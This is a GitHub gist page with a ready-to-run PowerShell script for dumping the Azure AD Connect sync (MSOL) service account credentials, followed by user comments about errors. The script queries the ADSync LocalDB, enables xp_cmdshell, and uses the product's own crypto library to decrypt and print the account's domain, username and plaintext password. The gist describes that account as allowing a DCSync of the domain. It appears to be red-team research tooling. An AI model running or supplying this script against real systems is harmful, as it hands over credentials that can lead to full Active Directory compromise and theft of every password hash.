Skip to content

Instantly share code, notes, and snippets.

@xpn
Last active March 26, 2025 22:08
Show Gist options
  • Save xpn/f12b145dba16c2eebdd1c6829267b90c to your computer and use it in GitHub Desktop.
Save xpn/f12b145dba16c2eebdd1c6829267b90c to your computer and use it in GitHub Desktop.
Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_server_configuration"
return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_management_agent"
return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "[*] Credentials incoming...`n"
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
@aayla-secura
Copy link

I'm getting the same "Cannot find the file specified" error using this updated version as well as the old one:

[*] Using xp_cmdshell to run some Powershell as the service user
select-xml : Cannot convert value "Exception calling "LoadKeySet" with "3" argument(s): "The system cannot find the file 
specified. (Exception from HRESULT: 0x80070002)"At line:1 char:175+ ... 
.KeyManager;$km.LoadKeySet([guid]'...+                 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    + CategoryInfo          : NotSpecified: (:) [], 
MethodInvocationException    + FullyQualifiedErrorId : FileNotFoundException Exception calling "GetActiveCredentialKey" 
with "1" argument(s): "Value does not fall within the expected range."At line:1 char:298+ ... a6db3', 1);$key = 
$null;$km.GetActiveCredentialKey([ref]$key);$key2 = ...+                             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException    + FullyQualifiedErrorId : ArgumentException 
Exception calling "GetKey" with "2" argument(s): "Value does not fall within the expected range."At line:1 char:350+ ... 
dentialKey([ref]$key);$key2 = $null;$km.GetKey(1, [ref]$key2);$decryp ...+ 

Any ideas?

@fsacer
Copy link

fsacer commented Sep 20, 2022

I think you can use the old method then? also verify you're targeting correct LocalDB instance as seen on https://blog.xpnsec.com/azuread-connect-for-redteam/.

@photonepoch
Copy link

Can't get 45th command line to run. (It applies not only for this script, but also for other instruments that uses LoadSetKey from mcrypt.dll). In this particular instance i got CreateProcess fail command. From other instruments (like AADinternals) it seems that LoadSetKey is marked as potentially "virus" command. Any ideas?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment